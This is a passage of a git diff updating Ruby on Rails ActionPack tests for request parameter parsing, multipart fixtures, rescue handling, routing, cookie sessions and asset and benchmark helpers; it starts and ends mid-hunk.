- non_file_text_part = MockUpload.new('text/plain', '', 'abc')
-
- input = {
- "something" => [ UploadedStringIO.new("") ],
- "array_of_stringios" => [[ UploadedStringIO.new("One"), UploadedStringIO.new("Two") ]],
- "mixed_types_array" => [[ UploadedStringIO.new("Three"), "NotStringIO" ]],
- "mixed_types_as_checkboxes[strings][nested]" => [[ file, "String", UploadedStringIO.new("StringIO")]],
- "ie_mixed_types_as_checkboxes[strings][nested]" => [[ ie_file, "String", UploadedStringIO.new("StringIO")]],
- "products[string]" => [ UploadedStringIO.new("Apple Computer") ],
- "products[file]" => [ file ],
- "ie_products[string]" => [ UploadedStringIO.new("Microsoft") ],
- "ie_products[file]" => [ ie_file ],
- "text_part" => [non_file_text_part]
- }
-
- expected_output = {
- "something" => "",
- "array_of_stringios" => ["One", "Two"],
- "mixed_types_array" => [ "Three", "NotStringIO" ],
- "mixed_types_as_checkboxes" => {
- "strings" => {
- "nested" => [ file, "String", "StringIO" ]
- },
- },
- "ie_mixed_types_as_checkboxes" => {
- "strings" => {
- "nested" => [ ie_file, "String", "StringIO" ]
- },
- },
- "products" => {
- "string" => "Apple Computer",
- "file" => file
- },
- "ie_products" => {
- "string" => "Microsoft",
- "file" => ie_file
- },
- "text_part" => "abc"
- }
-
- params = ActionController::Request.parse_request_parameters(input)
- assert_equal expected_output, params
-
- # Lone filenames are preserved.
- assert_equal 'foo.jpg', params['mixed_types_as_checkboxes']['strings']['nested'].first.original_filename
- assert_equal 'foo.jpg', params['products']['file'].original_filename
-
- # But full Windows paths are reduced to their basename.
- assert_equal 'bar.jpg', params['ie_mixed_types_as_checkboxes']['strings']['nested'].first.original_filename
- assert_equal 'bar.jpg', params['ie_products']['file'].original_filename
- end
-
- def test_parse_params_with_file
- input = {
- "customers[boston][first][name]" => [ "David" ],
- "something_else" => [ "blah" ],
- "logo" => [ File.new(File.dirname(__FILE__) + "/rack_test.rb").path ]
- }
-
- expected_output = {
- "customers" => {
- "boston" => {
- "first" => {
- "name" => "David"
- }
- }
- },
- "something_else" => "blah",
- "logo" => File.new(File.dirname(__FILE__) + "/rack_test.rb").path,
- }
-
- assert_equal expected_output, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_array
- input = { "selected[]" => [ "1", "2", "3" ] }
-
- expected_output = { "selected" => [ "1", "2", "3" ] }
-
- assert_equal expected_output, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_non_alphanumeric_name
- input = { "a/b[c]" => %w(d) }
- expected = { "a/b" => { "c" => "d" }}
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_single_brackets_in_middle
- input = { "a/b[c]d" => %w(e) }
- expected = { "a/b" => {} }
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_separated_brackets
- input = { "a/b@[c]d[e]" => %w(f) }
- expected = { "a/b@" => { }}
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_separated_brackets_and_array
- input = { "a/b@[c]d[e][]" => %w(f) }
- expected = { "a/b@" => { }}
- assert_equal expected , ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_unmatched_brackets_and_array
- input = { "a/b@[c][d[e][]" => %w(f) }
- expected = { "a/b@" => { "c" => { }}}
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_nil_key
- input = { nil => nil, "test2" => %w(value1) }
- expected = { "test2" => "value1" }
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_array_prefix_and_hashes
- input = { "a[][b][c]" => %w(d) }
- expected = {"a" => [{"b" => {"c" => "d"}}]}
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-
- def test_parse_params_with_complex_nesting
- input = { "a[][b][c][][d][]" => %w(e) }
- expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
- assert_equal expected, ActionController::Request.parse_request_parameters(input)
- end
-end
-
-class MultipartRequestParameterParsingTest < ActiveSupport::TestCase
- FIXTURE_PATH = File.dirname(__FILE__) + '/../fixtures/multipart'
-
- def test_single_parameter
- params = parse_multipart('single_parameter')
- assert_equal({ 'foo' => 'bar' }, params)
- end
-
- def test_bracketed_param
- assert_equal({ 'foo' => { 'baz' => 'bar'}}, parse_multipart('bracketed_param'))
- end
-
- def test_text_file
- params = parse_multipart('text_file')
- assert_equal %w(file foo), params.keys.sort
- assert_equal 'bar', params['foo']
-
- file = params['file']
- assert_kind_of StringIO, file
- assert_equal 'file.txt', file.original_filename
- assert_equal "text/plain", file.content_type
- assert_equal 'contents', file.read
- end
-
- def test_boundary_problem_file
- params = parse_multipart('boundary_problem_file')
- assert_equal %w(file foo), params.keys.sort
-
- file = params['file']
- foo = params['foo']
-
- assert_kind_of Tempfile, file
-
- assert_equal 'file.txt', file.original_filename
- assert_equal "text/plain", file.content_type
-
- assert_equal 'bar', foo
- end
-
- def test_large_text_file
- params = parse_multipart('large_text_file')
- assert_equal %w(file foo), params.keys.sort
- assert_equal 'bar', params['foo']
-
- file = params['file']
-
- assert_kind_of Tempfile, file
-
- assert_equal 'file.txt', file.original_filename
- assert_equal "text/plain", file.content_type
- assert ('a' * 20480) == file.read
- end
-
- uses_mocha "test_no_rewind_stream" do
- def test_no_rewind_stream
- # Ensures that parse_multipart_form_parameters works with streams that cannot be rewound
- file = File.open(File.join(FIXTURE_PATH, 'large_text_file'), 'rb')
- file.expects(:rewind).raises(Errno::ESPIPE)
- params = ActionController::Request.parse_multipart_form_parameters(file, 'AaB03x', file.stat.size, {})
- assert_not_equal 0, file.pos # file was not rewound after reading
- end
- end
-
- def test_binary_file
- params = parse_multipart('binary_file')
- assert_equal %w(file flowers foo), params.keys.sort
- assert_equal 'bar', params['foo']
-
- file = params['file']
- assert_kind_of StringIO, file
- assert_equal 'file.csv', file.original_filename
- assert_nil file.content_type
- assert_equal 'contents', file.read
-
- file = params['flowers']
- assert_kind_of StringIO, file
- assert_equal 'flowers.jpg', file.original_filename
- assert_equal "image/jpeg", file.content_type
- assert_equal 19512, file.size
- #assert_equal File.read(File.dirname(__FILE__) + '/../../../activerecord/test/fixtures/flowers.jpg'), file.read
- end
-
- def test_mixed_files
- params = parse_multipart('mixed_files')
- assert_equal %w(files foo), params.keys.sort
- assert_equal 'bar', params['foo']
-
- # Ruby CGI doesn't handle multipart/mixed for us.
- files = params['files']
- assert_kind_of String, files
- files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
- assert_equal 19756, files.size
- end
-
- private
- def parse_multipart(name)
- File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
- params = ActionController::Request.parse_multipart_form_parameters(file, 'AaB03x', file.stat.size, {})
- assert_equal 0, file.pos # file was rewound after reading
- params
- end
- end
-end
-
-class XmlParamsParsingTest < ActiveSupport::TestCase
- def test_hash_params
- person = parse_body("<person><name>David</name></person>")[:person]
- assert_kind_of Hash, person
- assert_equal 'David', person['name']
- end
-
- def test_single_file
- person = parse_body("<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>")
-
- assert_equal "image/jpg", person['person']['avatar'].content_type
- assert_equal "me.jpg", person['person']['avatar'].original_filename
- assert_equal "ABC", person['person']['avatar'].read
- end
-
- def test_multiple_files
- person = parse_body(<<-end_body)
- <person>
- <name>David</name>
- <avatars>
- <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
- <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
- </avatars>
- </person>
- end_body
-
- assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
- assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
- assert_equal "ABC", person['person']['avatars']['avatar'].first.read
-
- assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
- assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
- assert_equal "DEF", person['person']['avatars']['avatar'].last.read
- end
-
- private
- def parse_body(body)
- env = { 'rack.input' => StringIO.new(body),
- 'CONTENT_TYPE' => 'application/xml',
- 'CONTENT_LENGTH' => body.size.to_s }
- ActionController::Request.new(env).request_parameters
- end
-end
-
-class LegacyXmlParamsParsingTest < XmlParamsParsingTest
- private
- def parse_body(body)
- env = { 'rack.input' => StringIO.new(body),
- 'HTTP_X_POST_DATA_FORMAT' => 'xml',
- 'CONTENT_LENGTH' => body.size.to_s }
- ActionController::Request.new(env).request_parameters
- end
-end
-
-class JsonParamsParsingTest < ActiveSupport::TestCase
- def test_hash_params_for_application_json
- person = parse_body({:person => {:name => "David"}}.to_json,'application/json')[:person]
- assert_kind_of Hash, person
- assert_equal 'David', person['name']
- end
-
- def test_hash_params_for_application_jsonrequest
- person = parse_body({:person => {:name => "David"}}.to_json,'application/jsonrequest')[:person]
- assert_kind_of Hash, person
- assert_equal 'David', person['name']
- end
-
- private
- def parse_body(body,content_type)
- env = { 'rack.input' => StringIO.new(body),
- 'CONTENT_TYPE' => content_type,
- 'CONTENT_LENGTH' => body.size.to_s }
- ActionController::Request.new(env).request_parameters
- end
-end
diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb
index 63f9827f4a..9f6b45f065 100644
--- a/actionpack/test/controller/rescue_test.rb
+++ b/actionpack/test/controller/rescue_test.rb
@@ -67,6 +67,11 @@ class RescueController < ActionController::Base
render :text => 'no way'
end
+ before_filter(:only => :before_filter_raises) { raise 'umm nice' }
+
+ def before_filter_raises
+ end
+
def raises
render :text => 'already rendered'
raise "don't panic!"
@@ -154,6 +159,16 @@ class RescueControllerTest < ActionController::TestCase
end
end
+ def test_rescue_exceptions_raised_by_filters
+ with_rails_root FIXTURE_PUBLIC do
+ with_all_requests_local false do
+ get :before_filter_raises
+ end
+ end
+
+ assert_response :internal_server_error
+ end
+
def test_rescue_action_locally_if_all_requests_local
@controller.expects(:local_request?).never
@controller.expects(:rescue_action_locally).with(@exception)
@@ -367,10 +382,21 @@ class RescueControllerTest < ActionController::TestCase
end
def test_rescue_dispatcher_exceptions
- RescueController.process_with_exception(@request, @response, ActionController::RoutingError.new("Route not found"))
+ env = @request.env
+ env["action_controller.rescue.request"] = @request
+ env["action_controller.rescue.response"] = @response
+
+ RescueController.call_with_exception(env, ActionController::RoutingError.new("Route not found"))
assert_equal "no way", @response.body
end
+ def test_rescue_dispatcher_exceptions_without_request_set
+ @request.env['REQUEST_URI'] = '/no_way'
+ response = RescueController.call_with_exception(@request.env, ActionController::RoutingError.new("Route not found"))
+ assert_kind_of ActionController::Response, response
+ assert_equal "no way", response.body
+ end
+
protected
def with_all_requests_local(local = true)
old_local, ActionController::Base.consider_all_requests_local =
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index d5b6bd6b2a..b981119e1e 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -706,7 +706,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
port_string = port == 80 ? '' : ":#{port}"
protocol = options.delete(:protocol) || "http"
- host = options.delete(:host) || "named.route.test"
+ host = options.delete(:host) || "test.host"
anchor = "##{options.delete(:anchor)}" if options.key?(:anchor)
path = routes.generate(options)
@@ -715,27 +715,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
def request
- @request ||= MockRequest.new(:host => "named.route.test", :method => :get)
- end
- end
-
- class MockRequest
- attr_accessor :path, :path_parameters, :host, :subdomains, :domain, :method
-
- def initialize(values={})
- values.each { |key, value| send("#{key}=", value) }
- if values[:host]
- subdomain, self.domain = values[:host].split(/\./, 2)
- self.subdomains = [subdomain]
- end
- end
-
- def protocol
- "http://"
- end
-
- def host_with_port
- (subdomains * '.') + '.' + domain
+ @request ||= ActionController::TestRequest.new
end
end
@@ -900,7 +880,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
def test_basic_named_route
rs.add_named_route :home, '', :controller => 'content', :action => 'list'
x = setup_for_named_route
- assert_equal("http://named.route.test/",
+ assert_equal("http://test.host/",
x.send(:home_url))
end
@@ -908,7 +888,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
rs.add_named_route :home, '', :controller => 'content', :action => 'list'
x = setup_for_named_route
ActionController::Base.relative_url_root = "/foo"
- assert_equal("http://named.route.test/foo/",
+ assert_equal("http://test.host/foo/",
x.send(:home_url))
assert_equal "/foo/", x.send(:home_path)
ActionController::Base.relative_url_root = nil
@@ -917,14 +897,14 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
def test_named_route_with_option
rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
x = setup_for_named_route
- assert_equal("http://named.route.test/page/new%20stuff",
+ assert_equal("http://test.host/page/new%20stuff",
x.send(:page_url, :title => 'new stuff'))
end
def test_named_route_with_default
rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
x = setup_for_named_route
- assert_equal("http://named.route.test/page/AboutRails",
+ assert_equal("http://test.host/page/AboutRails",
x.send(:page_url, :title => "AboutRails"))
end
@@ -932,21 +912,21 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
def test_named_route_with_name_prefix
rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
x = setup_for_named_route
- assert_equal("http://named.route.test/page",
+ assert_equal("http://test.host/page",
x.send(:my_page_url))
end
def test_named_route_with_path_prefix
rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
x = setup_for_named_route
- assert_equal("http://named.route.test/my/page",
+ assert_equal("http://test.host/my/page",
x.send(:page_url))
end
def test_named_route_with_nested_controller
rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
x = setup_for_named_route
- assert_equal("http://named.route.test/admin/user",
+ assert_equal("http://test.host/admin/user",
x.send(:users_url))
end
@@ -985,7 +965,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
map.root :controller => "hello"
end
x = setup_for_named_route
- assert_equal("http://named.route.test/", x.send(:root_url))
+ assert_equal("http://test.host/", x.send(:root_url))
assert_equal("/", x.send(:root_path))
end
@@ -1001,7 +981,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
# x.send(:article_url, :title => 'hi')
# )
assert_equal(
- "http://named.route.test/page/2005/6/10/hi",
+ "http://test.host/page/2005/6/10/hi",
x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
)
end
@@ -1202,7 +1182,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
x = setup_for_named_route
- assert_equal("http://named.route.test/test",
+ assert_equal("http://test.host/test",
x.send(:blog_url))
end
@@ -1249,7 +1229,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
assert_equal '/', rs.generate(:controller => 'content')
x = setup_for_named_route
- assert_equal("http://named.route.test/",
+ assert_equal("http://test.host/",
x.send(:home_url))
end
@@ -1591,7 +1571,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
def request
- @request ||= MockRequest.new(:host => "named.routes.test", :method => :get)
+ @request ||= ActionController::TestRequest.new
end
def test_generate_extras
@@ -1692,13 +1672,13 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
def test_named_route_url_method
controller = setup_named_route_test
- assert_equal "http://named.route.test/people/5", controller.send(:show_url, :id => 5)
+ assert_equal "http://test.host/people/5", controller.send(:show_url, :id => 5)
assert_equal "/people/5", controller.send(:show_path, :id => 5)
- assert_equal "http://named.route.test/people", controller.send(:index_url)
+ assert_equal "http://test.host/people", controller.send(:index_url)
assert_equal "/people", controller.send(:index_path)
- assert_equal "http://named.route.test/admin/users", controller.send(:users_url)
+ assert_equal "http://test.host/admin/users", controller.send(:users_url)
assert_equal '/admin/users', controller.send(:users_path)
assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
end
@@ -1706,28 +1686,28 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
def test_named_route_url_method_with_anchor
controller = setup_named_route_test
- assert_equal "http://named.route.test/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
+ assert_equal "http://test.host/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
- assert_equal "http://named.route.test/people#location", controller.send(:index_url, :anchor => 'location')
+ assert_equal "http://test.host/people#location", controller.send(:index_url, :anchor => 'location')
assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
- assert_equal "http://named.route.test/admin/users#location", controller.send(:users_url, :anchor => 'location')
+ assert_equal "http://test.host/admin/users#location", controller.send(:users_url, :anchor => 'location')
assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
- assert_equal "http://named.route.test/people/go/7/hello/joe/5#location",
+ assert_equal "http://test.host/people/go/7/hello/joe/5#location",
controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
- assert_equal "http://named.route.test/people/go/7/hello/joe/5?baz=bar#location",
+ assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
- assert_equal "http://named.route.test/people?baz=bar#location",
+ assert_equal "http://test.host/people?baz=bar#location",
controller.send(:index_url, :baz => "bar", :anchor => 'location')
end
def test_named_route_url_method_with_port
controller = setup_named_route_test
- assert_equal "http://named.route.test:8080/people/5", controller.send(:show_url, 5, :port=>8080)
+ assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, :port=>8080)
end
def test_named_route_url_method_with_host
@@ -1737,30 +1717,30 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
def test_named_route_url_method_with_protocol
controller = setup_named_route_test
- assert_equal "https://named.route.test/people/5", controller.send(:show_url, 5, :protocol => "https")
+ assert_equal "https://test.host/people/5", controller.send(:show_url, 5, :protocol => "https")
end
def test_named_route_url_method_with_ordered_parameters
controller = setup_named_route_test
- assert_equal "http://named.route.test/people/go/7/hello/joe/5",
+ assert_equal "http://test.host/people/go/7/hello/joe/5",
controller.send(:multi_url, 7, "hello", 5)
end
def test_named_route_url_method_with_ordered_parameters_and_hash
controller = setup_named_route_test
- assert_equal "http://named.route.test/people/go/7/hello/joe/5?baz=bar",
+ assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
end
def test_named_route_url_method_with_ordered_parameters_and_empty_hash
controller = setup_named_route_test
- assert_equal "http://named.route.test/people/go/7/hello/joe/5",
+ assert_equal "http://test.host/people/go/7/hello/joe/5",
controller.send(:multi_url, 7, "hello", 5, {})
end
def test_named_route_url_method_with_no_positional_arguments
controller = setup_named_route_test
- assert_equal "http://named.route.test/people?baz=bar",
+ assert_equal "http://test.host/people?baz=bar",
controller.send(:index_url, :baz => "bar")
end
@@ -1896,49 +1876,54 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/people"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("index", request.path_parameters[:action])
+ request.recycle!
- request.method = :post
+ request.env["REQUEST_METHOD"] = "POST"
assert_nothing_raised { set.recognize(request) }
assert_equal("create", request.path_parameters[:action])
+ request.recycle!
- request.method = :put
+ request.env["REQUEST_METHOD"] = "PUT"
assert_nothing_raised { set.recognize(request) }
assert_equal("update", request.path_parameters[:action])
+ request.recycle!
- begin
- request.method = :bacon
+ assert_raises(ActionController::UnknownHttpMethod) {
+ request.env["REQUEST_METHOD"] = "BACON"
set.recognize(request)
- flunk 'Should have raised NotImplemented'
- rescue ActionController::NotImplemented => e
- assert_equal [:get, :post, :put, :delete], e.allowed_methods
- end
+ }
+ request.recycle!
request.path = "/people/5"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("show", request.path_parameters[:action])
assert_equal("5", request.path_parameters[:id])
+ request.recycle!
- request.method = :put
+ request.env["REQUEST_METHOD"] = "PUT"
assert_nothing_raised { set.recognize(request) }
assert_equal("update", request.path_parameters[:action])
assert_equal("5", request.path_parameters[:id])
+ request.recycle!
- request.method = :delete
+ request.env["REQUEST_METHOD"] = "DELETE"
assert_nothing_raised { set.recognize(request) }
assert_equal("destroy", request.path_parameters[:action])
assert_equal("5", request.path_parameters[:id])
+ request.recycle!
begin
- request.method = :post
+ request.env["REQUEST_METHOD"] = "POST"
set.recognize(request)
flunk 'Should have raised MethodNotAllowed'
rescue ActionController::MethodNotAllowed => e
assert_equal [:get, :put, :delete], e.allowed_methods
end
+ request.recycle!
ensure
Object.send(:remove_const, :PeopleController)
@@ -1954,13 +1939,13 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/people"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("people", request.path_parameters[:controller])
assert_equal("index", request.path_parameters[:action])
request.path = "/"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("people", request.path_parameters[:controller])
assert_equal("index", request.path_parameters[:action])
@@ -1978,7 +1963,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/articles/2005/11/05/a-very-interesting-article"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("permalink", request.path_parameters[:action])
assert_equal("2005", request.path_parameters[:year])
@@ -2015,17 +2000,19 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/people/5"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("show", request.path_parameters[:action])
assert_equal("5", request.path_parameters[:id])
+ request.recycle!
- request.method = :put
+ request.env["REQUEST_METHOD"] = "PUT"
assert_nothing_raised { set.recognize(request) }
assert_equal("update", request.path_parameters[:action])
+ request.recycle!
request.path = "/people/5.png"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("show", request.path_parameters[:action])
assert_equal("5", request.path_parameters[:id])
@@ -2050,7 +2037,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
set.draw { |map| map.root :controller => "people" }
request.path = ""
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("people", request.path_parameters[:controller])
assert_equal("index", request.path_parameters[:action])
@@ -2070,7 +2057,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/api/inventory"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("api/products", request.path_parameters[:controller])
assert_equal("inventory", request.path_parameters[:action])
@@ -2090,7 +2077,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/api"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("api/products", request.path_parameters[:controller])
assert_equal("index", request.path_parameters[:action])
@@ -2110,7 +2097,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/prefix/inventory"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("api/products", request.path_parameters[:controller])
assert_equal("inventory", request.path_parameters[:action])
@@ -2246,7 +2233,7 @@ uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
end
request.path = "/projects/1/milestones"
- request.method = :get
+ request.env["REQUEST_METHOD"] = "GET"
assert_nothing_raised { set.recognize(request) }
assert_equal("milestones", request.path_parameters[:controller])
assert_equal("index", request.path_parameters[:action])
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 1b7486ad34..5fc79baa44 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -19,7 +19,8 @@ class SendFileController < ActionController::Base
def rescue_action(e) raise end
end
-class SendFileTest < Test::Unit::TestCase
+class SendFileTest < ActionController::TestCase
+ tests SendFileController
include TestFileUtils
Mime::Type.register "image/png", :png unless defined? Mime::PNG
diff --git a/actionpack/test/controller/session/cookie_store_test.rb b/actionpack/test/controller/session/cookie_store_test.rb
index 69aec59dc0..b6a38f47aa 100644
--- a/actionpack/test/controller/session/cookie_store_test.rb
+++ b/actionpack/test/controller/session/cookie_store_test.rb
@@ -25,7 +25,7 @@ class CookieStoreTest < ActionController::IntegrationTest
def set_session_value
session[:foo] = "bar"
- render :text => Marshal.dump(session.to_hash)
+ render :text => Verifier.generate(session.to_hash)
end
def get_session_value
@@ -94,8 +94,7 @@ class CookieStoreTest < ActionController::IntegrationTest
with_test_route_set do
get '/set_session_value'
assert_response :success
- session_payload = Verifier.generate(Marshal.load(response.body))
- assert_equal ["_myapp_session=#{session_payload}; path=/"],
+ assert_equal ["_myapp_session=#{response.body}; path=/; httponly"],
headers['Set-Cookie']
end
end
@@ -148,8 +147,8 @@ class CookieStoreTest < ActionController::IntegrationTest
with_test_route_set do
get '/set_session_value'
assert_response :success
- session_payload = Verifier.generate(Marshal.load(response.body))
- assert_equal ["_myapp_session=#{session_payload}; path=/"],
+ session_payload = response.body
+ assert_equal ["_myapp_session=#{response.body}; path=/; httponly"],
headers['Set-Cookie']
get '/call_reset_session'
diff --git a/actionpack/test/fixtures/multipart/empty b/actionpack/test/fixtures/multipart/empty
new file mode 100644
index 0000000000..f0f79835c9
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/empty
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
+
+
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/hello.txt b/actionpack/test/fixtures/multipart/hello.txt
new file mode 100644
index 0000000000..5ab2f8a432
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/hello.txt
@@ -0,0 +1 @@
+Hello \ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/none b/actionpack/test/fixtures/multipart/none
new file mode 100644
index 0000000000..d66f4730f1
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/none
@@ -0,0 +1,9 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename=""
+
+
+--AaB03x--
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
index 7597927f6d..5e2fc20167 100644
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ b/actionpack/test/template/asset_tag_helper_test.rb
@@ -38,8 +38,6 @@ class AssetTagHelperTest < ActionView::TestCase
@controller.request = @request
ActionView::Helpers::AssetTagHelper::reset_javascript_include_default
- AssetTag::Cache.clear
- AssetCollection::Cache.clear
end
def teardown
@@ -281,6 +279,26 @@ class AssetTagHelperTest < ActionView::TestCase
assert_equal copy, source
end
+ def test_caching_image_path_with_caching_and_proc_asset_host_using_request
+ ENV['RAILS_ASSET_ID'] = ''
+ ActionController::Base.asset_host = Proc.new do |source, request|
+ if request.ssl?
+ "#{request.protocol}#{request.host_with_port}"
+ else
+ "#{request.protocol}assets#{source.length}.example.com"
+ end
+ end
+
+ ActionController::Base.perform_caching = true
+
+
+ @controller.request.stubs(:ssl?).returns(false)
+ assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
+
+ @controller.request.stubs(:ssl?).returns(true)
+ assert_equal "http://localhost/images/xml.png", image_path("xml.png")
+ end
+
def test_caching_javascript_include_tag_when_caching_on
ENV["RAILS_ASSET_ID"] = ""
ActionController::Base.asset_host = 'http://a0.example.com'
diff --git a/actionpack/test/template/benchmark_helper_test.rb b/actionpack/test/template/benchmark_helper_test.rb
index 08d453c965..5d2af7cdd9 100644
--- a/actionpack/test/template/benchmark_helper_test.rb
+++ b/actionpack/test/template/benchmark_helper_test.rb
@@ -4,32 +4,25 @@ require 'action_view/helpers/benchmark_helper'
class BenchmarkHelperTest < ActionView::TestCase
tests ActionView::Helpers::BenchmarkHelper
- class MockLogger
- attr_reader :logged
-
- def initialize
- @logged = []
- end
-
- def method_missing(method, *args)
- @logged << [method, args]
- end
+ def teardown
+ controller.logger.send(:clear_buffer)
end
def controller
- @controller ||= Struct.new(:logger).new(MockLogger.new)
+ logger = ActiveSupport::BufferedLogger.new(StringIO.new)
+ logger.auto_flushing = false
+ @controller ||= Struct.new(:logger).new(logger)
end
def test_without_block
assert_raise(LocalJumpError) { benchmark }
- assert controller.logger.logged.empty?
+ assert buffer.empty?
end
def test_defaults
i_was_run = false
benchmark { i_was_run = true }
assert i_was_run
- assert 1, controller.logger.logged.size
assert_last_logged
end
@@ -37,24 +30,57 @@ class BenchmarkHelperTest < ActionView::TestCase
i_was_run = false
benchmark('test_run') { i_was_run = true }
assert i_was_run
- assert 1, controller.logger.logged.size
assert_last_logged 'test_run'
end
- def test_with_message_and_level
+ def test_with_message_and_deprecated_level
